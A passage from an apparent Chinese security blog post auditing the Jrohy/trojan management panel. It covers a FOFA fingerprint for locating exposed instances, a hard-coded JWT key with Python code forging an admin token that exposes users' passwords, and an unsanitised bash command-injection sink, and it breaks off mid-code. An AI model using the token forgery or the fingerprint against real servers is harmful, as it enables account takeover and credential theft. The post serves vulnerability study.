.menu .menu-item-link{font-size:18px}@media screen and (max-width:800px){.header .site-navbar{display:none}}@media screen and (max-width:800px){.header{padding:50px 0 0;text-align:center}}.post{padding:1.5em 0}.post .post-header{margin-bottom:20px}.post .post-header .post-title{margin:0;font-size:27px;font-weight:400;font-family:Athelas,STHeiti,Microsoft Yahei,serif}.post .post-header .post-meta{font-size:14px;color:#8a8a8a}.post .post-header .post-meta .post-time{font-size:15px}.post .post-header .post-meta .post-category{display:inline}.post .post-header .post-meta .post-category a{color:inherit}.post .post-header .post-meta .post-category a::before{content:"·"}.post .post-header .post-meta .post-category a:hover{color:#c05b4d}.post .post-header .post-meta .more-meta::before{content:"·"}.post .post-toc{position:absolute;width:200px;margin-left:785px;padding:10px;font-family:Athelas,STHeiti,Microsoft Yahei,serif;border-radius:5px;background:rgba(248,245,236,.6);box-shadow:1px 1px 2px rgba(0,0,0,.125);word-wrap:break-word;box-sizing:border-box}.post .post-toc .post-toc-title{margin:0 10px;font-size:20px;font-weight:400;text-transform:uppercase}.post .post-toc .post-toc-content{font-size:15px}.post .post-toc .post-toc-content.always-active ul{display:block}.post .post-toc .post-toc-content>nav>ul{margin:10px 0}.post .post-toc .post-toc-content ul{padding-left:20px;list-style:square}@media screen and (max-width:1185px){.post .post-toc{display:none}}.post .post-content{word-wrap:break-word}.post .post-content h2{font-weight:400;font-family:Athelas,STHeiti,Microsoft Yahei,serif}.post .post-content h2 .anchor{float:left;line-height:1;margin-left:-20px;padding-right:4px}.post .post-content h2 .anchor:hover{border-bottom:initial}.post .post-content a{color:#c05b4d;word-break:break-all}.post .post-content a:hover{border-bottom:1px solid #c05b4d}.post .post-content a.fancybox{border:0}.post .post-content img{display:inline-block;max-width:100%}.post .post-content code,.post .post-content pre{padding:7px;font-size:.9em;font-family:Consolas,Monaco,Menlo,dejavu sans mono,bitstream vera sans mono,courier new,monospace;background:#f8f5ec}.post .post-content code{padding:3px 5px;border-radius:4px;color:#c7254e}.post .post-content pre>code{display:block}.post .post-content .highlight>.chroma{margin:1em 0;border-radius:5px;overflow-x:auto;box-shadow:1px 1px 2px rgba(0,0,0,.125);position:relative;background:#f8f5ec}.post .post-content .highlight>.chroma code{padding:0}.post .post-content .highlight>.chroma table{position:relative}.post .post-content .highlight>.chroma table::after{position:absolute;top:0;right:0;left:0;padding:2px 7px;font-size:.9em;font-weight:700;color:#b1b1b1;background:#f4efe1;content:"Code"}.post .post-content .highlight>.chroma.language-markdown>table::after{content:"Markdown"}.post .post-content .highlight>.chroma.language-python>table::after{content:"Python"}.post .post-content .highlight>.chroma.language-go>table::after{content:"Go"}.post .post-content .highlight>.chroma .lntd{line-height:1em}.post .post-content .highlight>.chroma .lntd:first-child{width:10px}.post .post-content .highlight>.chroma .lntd:first-child pre{margin:0;padding:30px 7px 10px}.post .post-content .highlight>.chroma .lntd:last-child{vertical-align:top}.post .post-content .highlight>.chroma .lntd:last-child pre{margin:0;padding:30px 10px 10px}.post .post-content .highlight>.chroma table,.post .post-content .highlight>.chroma tr,.post .post-content .highlight>.chroma td{margin:0;padding:0;width:100%;border-collapse:collapse}.post .post-content .highlight>.chroma .lnt{color:#cacaca}.post .post-content .highlight>.chroma .k{color:#859900}.post .post-content .highlight>.chroma .kc{color:#859900;font-weight:700}.post .post-content .highlight>.chroma .kd{color:#859900}.post .post-content .highlight>.chroma .kn{color:#dc322f;font-weight:700}.post .post-content .highlight>.chroma .kt{color:#859900;font-weight:700}.post .post-content .highlight>.chroma .n{color:#268bd2}.post .post-content .highlight>.chroma .nb{color:#cb4b16}.post .post-content .highlight>.chroma .nf{color:#268bd2}.post .post-content .highlight>.chroma .nn{color:#268bd2}.post .post-content .highlight>.chroma .nx{color:#268bd2}.post .post-content .highlight>.chroma .s{color:#2aa198}.post .post-content .highlight>.chroma .s1{color:#2aa198}.post .post-content .highlight>.chroma .mf{color:#2aa198;font-weight:700}.post .post-content .highlight>.chroma .mi{color:#2aa198;font-weight:700}.post .post-content .highlight>.chroma .c1{color:#93a1a1;font-style:italic}.post .post-content hr{margin:1rem 0;position:relative;border-top:2px dashed #c05b4d;border-bottom:none}.post .post-copyright{margin-top:20px;padding-top:10px;border-top:1px dashed #e6e6e6}.post .post-copyright .copyright-item{margin:5px 0}.post .post-copyright .copyright-item .item-title{display:inline-block;min-width:5rem;margin-right:.5rem;text-align:right}.post .post-copyright .copyright-item .item-title:after{content:" :"}.post .post-footer{margin-top:20px;border-top:1px solid #e6e6e6;font-family:Athelas,STHeiti,Microsoft Yahei,serif}.post .post-footer .post-nav{margin:1em 0}.post .post-footer .post-nav:before,.post .post-footer .post-nav:after{content:" ";display:table}.post .post-footer .post-nav:after{clear:both}.post .post-footer .post-nav .prev,.post .post-footer .post-nav .next{font-weight:600;font-size:18px;font-family:Athelas,STHeiti,Microsoft Yahei,serif;transition-property:transform;transition-timing-function:ease-out;transition-duration:.3s}.post .post-footer .post-nav .prev{float:left}.post .post-footer .post-nav .prev:hover{color:#c05b4d;transform:translateX(-4px)}.post .post-footer .post-nav .next{float:right}.post .post-footer .post-nav .next:hover{color:#c05b4d;transform:translateX(4px)}@media screen and (max-width:800px){.post .post-footer .post-nav .nav-default{display:none}}.footer{margin-top:2em}.footer .social-links{text-align:center}.footer .social-links .iconfont{font-size:30px}.footer .social-links .iconfont+.iconfont{margin-left:10px}.footer .social-links .iconfont:hover{color:#c05b4d}.footer .copyright{margin:10px 0;color:#8a8a8a;text-align:center;font-family:Athelas,STHeiti,Microsoft Yahei,serif}.footer .copyright .hexo-link,.footer .copyright .theme-link{color:#c05b4d}.footer .copyright .copyright-year{display:block}.footer .copyright .copyright-year .heart{font-size:14px;margin:4px}@media screen and (max-width:800px){}.slideout-panel{position:relative;z-index:1;background-color:#fefefe;min-height:100vh}@keyframes clickfirst{0%{transform:translateY(6px) rotate(0)}100%{transform:translateY(0) rotate(45deg)}}@keyframes clickmid{0%{opacity:1}100%{opacity:0}}@keyframes clicklast{0%{transform:translateY(-6px) rotate(0)}100%{transform:translateY(0) rotate(-45deg)}}@keyframes outfirst{0%{transform:translateY(0) rotate(-45deg)}100%{transform:translateY(-6px) rotate(0)}}@keyframes outmid{0%{opacity:0}100%{opacity:1}}@keyframes outlast{0%{transform:translateY(0) rotate(45deg)}100%{transform:translateY(6px) rotate(0)}}@media screen and (max-width:800px){}@media screen and (max-width:800px){}</style>
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media (max-width:800px){}@media (min-width:800px){}</style>
<meta property=og:title content=trojan多用户管理部署程序审计学习>
<meta property=og:description content=最近看到大佬提的issue，正好学习下>
<meta property=og:type content=article>
<meta property=og:url content=https://r0fus0d.blog.ffffffff0x.com/post/trojan-case/><meta property=article:section content=post>
<meta property=article:published_time content=2022-09-30T12:00:00+08:00>
<meta property=article:modified_time content=2022-09-30T12:00:00+08:00>
<meta itemprop=name content=trojan多用户管理部署程序审计学习>
<meta itemprop=description content=最近看到大佬提的issue，正好学习下><meta itemprop=datePublished content=2022-09-30T12:00:00+08:00>
<meta itemprop=dateModified content=2022-09-30T12:00:00+08:00>
<meta itemprop=wordCount content=1230>
<meta itemprop=keywords content><meta name=twitter:card content=summary>
<meta name=twitter:title content=trojan多用户管理部署程序审计学习>
<meta name=twitter:description content=最近看到大佬提的issue，正好学习下>
<!--[if lte IE 9]>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/classlist/1.1.20170427/classList.min.js"></script>
<![endif]-->
<!--[if lt IE 9]>
  <script src="https://cdn.jsdelivr.net/npm/html5shiv@3.7.3/dist/html5shiv.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/respond.js@1.4.2/dest/respond.min.js"></script>
<![endif]-->
<style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@keyframes image-loading-rotate{from{transform:rotate(360deg)}to{transform:rotate(0deg)}}</style><meta name=referrer content=no-referrer><link rel=icon type=image/png sizes=32x32 href=""><style>.sf-hidden{display:none!important}</style><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"></head>
<body>
 <div id=mobile-navbar class="mobile-navbar sf-hidden">
 
 
</div>
<nav id=mobile-menu class="mobile-menu slideout-menu slideout-menu-left sf-hidden">
 
 
</nav>
 <div class="container slideout-panel slideout-panel-left" id=mobile-panel>
 <header id=header class=header>
 <div class=logo-wrapper>
 <a href=https://r0fus0d.blog.ffffffff0x.com/ class=logo>Even</a>
</div>
<nav class=site-navbar>
 <ul id=menu class=menu>
 <li class=menu-item>
 <a class=menu-item-link href=https://r0fus0d.blog.ffffffff0x.com/>首页</a>
 <li class=menu-item>
 <a class=menu-item-link href=https://r0fus0d.blog.ffffffff0x.com/post/>归档</a>
 <li class=menu-item>
 <a class=menu-item-link href=https://r0fus0d.blog.ffffffff0x.com/about/>About</a>
 </li>
 </ul>
</nav>
 </header>
 <main id=main class=main>
 <div class=content-wrapper>
 <div id=content class=content>
 <article class=post>
 
 <header class=post-header>
 <h1 class=post-title>trojan多用户管理部署程序审计学习</h1>
 <div class=post-meta>
 <span class=post-time> 2022-09-30 </span>
 <div class=post-category>
 <a href=https://r0fus0d.blog.ffffffff0x.com/categories/%E6%8A%80%E6%9C%AF/> 技术 </a>
 </div>
 <span class=more-meta> 约 1230 字 </span>
 <span class=more-meta> 预计阅读 3 分钟 </span>
 
 </div>
 </header>
 <div class=post-toc id=post-toc>
 <h2 class=post-toc-title>文章目录</h2>
 <div class="post-toc-content always-active">
 <nav id=TableOfContents>
 <ul>
 <li><a href=#%E6%8C%87%E7%BA%B9%E7%89%B9%E5%BE%81 class=toc-link>指纹特征</a></li>
 <li><a href=#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA class=toc-link>环境搭建</a></li>
 <li><a href=#%E7%A1%AC%E7%BC%96%E7%A0%81jwt%E5%AF%86%E9%92%A5 class=toc-link>硬编码jwt密钥</a></li>
 <li><a href=#%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E class=toc-link>命令注入漏洞</a></li>
 <li><a href=#%E5%89%8D%E5%8F%B0%E7%AE%A1%E7%90%86%E5%91%98%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE class=toc-link>前台管理员密码重置</a></li>
 <li><a href=#%E7%BB%95%E5%89%8D%E7%AB%AF%E5%8A%A0%E5%AF%86 class=toc-link>绕前端加密</a></li>
 <li><a href=#source--reference class=toc-link>Source &amp; Reference</a></li>
 </ul>
</nav>
 </div>
</div>
 <div class=post-content>
 <p>最近看到大佬提的issue，正好学习下</p>
<hr>
<ul>
<li><a href=https://github.com/Jrohy/trojan>https://github.com/Jrohy/trojan</a></li>
</ul>
<hr>
<h2 id=指纹特征><a href=#%E6%8C%87%E7%BA%B9%E7%89%B9%E5%BE%81 class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>指纹特征</h2>
<div class=highlight><div class="chroma language-markdown">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-markdown data-lang=markdown>/auth/check 路径会返回title值,可以用作指纹特征
{"code":200,"data":{"title":"AAA"},"message":"success"}

fofa 语句 body='href="./static/index.ab2a3fed.css"&gt;'
</code></pre></table>
</div>
</div><hr>
<h2 id=环境搭建><a href=#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>环境搭建</h2>
<p>我这里图方便用docker搭建了</p>
<div class=highlight><div class="chroma language-markdown">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-markdown data-lang=markdown>docker run --name trojan-mariadb --restart=always -p 3306:3306 -v /home/mariadb:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=trojan -e MYSQL_ROOT_HOST=% -e MYSQL_DATABASE=trojan -d mariadb:10.2

docker run -it -d --name trojan --net=host --restart=always --privileged jrohy/trojan init
</code></pre></table>
</div>
</div><p>拉起后进入容器,这里得提前配置下域名解析,这个需要通过域名访问</p>
<div class=highlight><div class="chroma language-markdown">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-markdown data-lang=markdown>docker exec -it trojan bash

trojan
请选择使用证书方式: 1
请输入申请证书的域名: xxx.xxx.com

配置数据库,密码默认就是上面的 trojan
</code></pre></table>
</div>
</div><p>没啥问题,输入域名就能访问了</p>
<p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled.png data-fancybox=gallery data-caption><img src= alt></a></p>
<hr>
<h2 id=硬编码jwt密钥><a href=#%E7%A1%AC%E7%BC%96%E7%A0%81jwt%E5%AF%86%E9%92%A5 class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>硬编码jwt密钥</h2>
<p>在 <code>web/auth.go</code> 文件中</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=kd>func</span> <span class=nf>jwtInit</span><span class=p>(</span><span class=nx>timeout</span> <span class=kt>int</span><span class=p>)</span> <span class=p>{</span>
	<span class=nx>authMiddleware</span><span class=p>,</span> <span class=nx>err</span> <span class=p>=</span> <span class=nx>jwt</span><span class=p>.</span><span class=nf>New</span><span class=p>(</span><span class=o>&amp;</span><span class=nx>jwt</span><span class=p>.</span><span class=nx>GinJWTMiddleware</span><span class=p>{</span>
		<span class=nx>Realm</span><span class=p>:</span>       <span class=s>"k8s-manager"</span><span class=p>,</span>
		<span class=nx>Key</span><span class=p>:</span>         <span class=p>[]</span><span class=nb>byte</span><span class=p>(</span><span class=s>"secret key"</span><span class=p>),</span>
		<span class=nx>Timeout</span><span class=p>:</span>     <span class=nx>time</span><span class=p>.</span><span class=nx>Minute</span> <span class=o>*</span> <span class=nx>time</span><span class=p>.</span><span class=nf>Duration</span><span class=p>(</span><span class=nx>timeout</span><span class=p>),</span>
		<span class=nx>MaxRefresh</span><span class=p>:</span>  <span class=nx>time</span><span class=p>.</span><span class=nx>Minute</span> <span class=o>*</span> <span class=nx>time</span><span class=p>.</span><span class=nf>Duration</span><span class=p>(</span><span class=nx>timeout</span><span class=p>),</span>
		<span class=nx>IdentityKey</span><span class=p>:</span> <span class=nx>identityKey</span><span class=p>,</span>
		<span class=nx>SendCookie</span><span class=p>:</span>  <span class=kc>true</span><span class=p>,</span>
		<span class=nx>PayloadFunc</span><span class=p>:</span> <span class=kd>func</span><span class=p>(</span><span class=nx>data</span> <span class=kd>interface</span><span class=p>{})</span> <span class=nx>jwt</span><span class=p>.</span><span class=nx>MapClaims</span> <span class=p>{</span>
			<span class=k>if</span> <span class=nx>v</span><span class=p>,</span> <span class=nx>ok</span> <span class=o>:=</span> <span class=nx>data</span><span class=p>.(</span><span class=o>*</span><span class=nx>Login</span><span class=p>);</span> <span class=nx>ok</span> <span class=p>{</span>
				<span class=k>return</span> <span class=nx>jwt</span><span class=p>.</span><span class=nx>MapClaims</span><span class=p>{</span>
					<span class=nx>identityKey</span><span class=p>:</span> <span class=nx>v</span><span class=p>.</span><span class=nx>Username</span><span class=p>,</span>
				<span class=p>}</span>
			<span class=p>}</span>
			<span class=k>return</span> <span class=nx>jwt</span><span class=p>.</span><span class=nx>MapClaims</span><span class=p>{}</span>
		<span class=p>}</span>
	<span class=o>......</span>
	<span class=p>})</span>
<span class=p>}</span>
</code></pre></table>
</div>
</div><p>可以看到硬编码的 jwt 密钥 <code>secret key</code></p>
<p>有jwt密钥我们就可以伪造任意用户的token,默认管理员用户是admin</p>
<p>先解码看下格式</p>
<p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%201.png data-fancybox=gallery data-caption><img src="" alt></a></p>
<p>测试生成admin的token</p>
<div class=highlight><div class="chroma language-python">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-python data-lang=python><span class=kn>import</span> <span class=nn>jwt</span>
<span class=n>jwt</span><span class=o>.</span><span class=n>encode</span><span class=p>({</span><span class=s1>'exp'</span><span class=p>:</span><span class=mi>1664179347</span><span class=p>,</span><span class=s1>'id'</span><span class=p>:</span><span class=s1>'admin'</span><span class=p>,</span><span class=s1>'orig_iat'</span><span class=p>:</span><span class=mi>1664172147</span><span class=p>},</span><span class=n>algorithm</span><span class=o>=</span><span class=s1>'HS256'</span><span class=p>,</span><span class=n>key</span><span class=o>=</span><span class=s1>'secret key'</span><span class=p>)</span>
</code></pre></table>
</div>
</div><p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%202.png data-fancybox=gallery data-caption><img src= alt></a></p>
<p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%203.png data-fancybox=gallery data-caption><img src= alt></a></p>
<p>通过这个token访问 <code>/trojan/user</code> 接口可以得到除admin外所有用户账号密码,以及服务的对应域名</p>
<hr>
<h2 id=命令注入漏洞><a href=#%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>命令注入漏洞</h2>
<p>在 <code>util/linux.go</code> 文件的LogChan函数中,存在命令执行函数exec</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=kd>func</span> <span class=nf>LogChan</span><span class=p>(</span><span class=nx>serviceName</span><span class=p>,</span> <span class=nx>param</span> <span class=kt>string</span><span class=p>,</span> <span class=nx>closeChan</span> <span class=kd>chan</span> <span class=kt>byte</span><span class=p>)</span> <span class=p>(</span><span class=kd>chan</span> <span class=kt>string</span><span class=p>,</span> <span class=kt>error</span><span class=p>)</span> <span class=p>{</span>
	<span class=nx>cmd</span> <span class=o>:=</span> <span class=nx>exec</span><span class=p>.</span><span class=nf>Command</span><span class=p>(</span><span class=s>"bash"</span><span class=p>,</span> <span class=s>"-c"</span><span class=p>,</span> <span class=nx>fmt</span><span class=p>.</span><span class=nf>Sprintf</span><span class=p>(</span><span class=s>"journalctl -f -u %s -o cat %s"</span><span class=p>,</span> <span class=nx>serviceName</span><span class=p>,</span> <span class=nx>param</span><span class=p>))</span>

	<span class=nx>stdout</span><span class=p>,</span> <span class=nx>_</span> <span class=o>:=</span> <span class=nx>cmd</span><span class=p>.</span><span class=nf>StdoutPipe</span><span class=p>()</span>

	<span class=k>if</span> <span class=nx>err</span> <span class=o>:=</span> <span class=nx>cmd</span><span class=p>.</span><span class=nf>Start</span><span class=p>();</span> <span class=nx>err</span> <span class=o>!=</span> <span class=kc>nil</span> <span class=p>{</span>
		<span class=nx>fmt</span><span class=p>.</span><span class=nf>Println</span><span class=p>(</span><span class=s>"Error:The command is err: "</span><span class=p>,</span> <span class=nx>err</span><span class=p>.</span><span class=nf>Error</span><span class=p>())</span>
		<span class=k>return</span> <span class=kc>nil</span><span class=p>,</span> <span class=nx>err</span>
	<span class=p>}</span>
	<span class=nx>ch</span> <span class=o>:=</span> <span class=nb>make</span><span class=p>(</span><span class=kd>chan</span> <span class=kt>string</span><span class=p>,</span> <span class=mi>100</span><span class=p>)</span>
	<span class=nx>stdoutScan</span> <span class=o>:=</span> <span class=nx>bufio</span><span class=p>.</span><span class=nf>NewScanner</span><span class=p>(</span><span class=nx>stdout</span><span class=p>)</span>
	<span class=k>go</span> <span class=kd>func</span><span class=p>()</span> <span class=p>{</span>
		<span class=k>for</span> <span class=nx>stdoutScan</span><span class=p>.</span><span class=nf>Scan</span><span class=p>()</span> <span class=p>{</span>
			<span class=k>select</span> <span class=p>{</span>
			<span class=k>case</span> <span class=o>&lt;-</span><span class=nx>closeChan</span><span class=p>:</span>
				<span class=nx>stdout</span><span class=p>.</span><span class=nf>Close</span><span class=p>()</span>
				<span class=k>return</span>
			<span class=k>default</span><span class=p>:</span>
				<span class=nx>ch</span> <span class=o>&lt;-</span> <span class=nx>stdoutScan</span><span class=p>.</span><span class=nf>Text</span><span class=p>()</span>
			<span class=p>}</span>
		<span class=p>}</span>
	<span class=p>}()</span>
	<span class=k>return</span> <span class=nx>ch</span><span class=p>,</span> <span class=kc>nil</span>
<span class=p>}</span>
</code></pre></table>
</div>
</div><p>查看调用</p>
<p>web/web.go</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span><span class=lnt>25
</span><span class=lnt>26
</span><span class=lnt>27
</span><span class=lnt>28
</span><span class=lnt>29
</span><span class=lnt>30
</span><span class=lnt>31
</span><span class=lnt>32
</span><span class=lnt>33
</span><span class=lnt>34
</span><span class=lnt>35
</span><span class=lnt>36
</span><span class=lnt>37
</span><span class=lnt>38
</span><span class=lnt>39
</span><span class=lnt>40
</span><span class=lnt>41
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=kd>func</span> <span class=nf>trojanRouter</span><span class=p>(</span><span class=nx>router</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Engine</span><span class=p>)</span> <span class=p>{</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/start"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>Start</span><span class=p>())</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/stop"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>Stop</span><span class=p>())</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/restart"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>Restart</span><span class=p>())</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>GET</span><span class=p>(</span><span class=s>"/trojan/loglevel"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>GetLogLevel</span><span class=p>())</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>GET</span><span class=p>(</span><span class=s>"/trojan/export"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>result</span> <span class=o>:=</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>ExportCsv</span><span class=p>(</span><span class=nx>c</span><span class=p>)</span>
		<span class=k>if</span> <span class=nx>result</span> <span class=o>!=</span> <span class=kc>nil</span> <span class=p>{</span>
			<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>result</span><span class=p>)</span>
		<span class=p>}</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/import"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>ImportCsv</span><span class=p>(</span><span class=nx>c</span><span class=p>))</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/update"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>Update</span><span class=p>())</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/switch"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
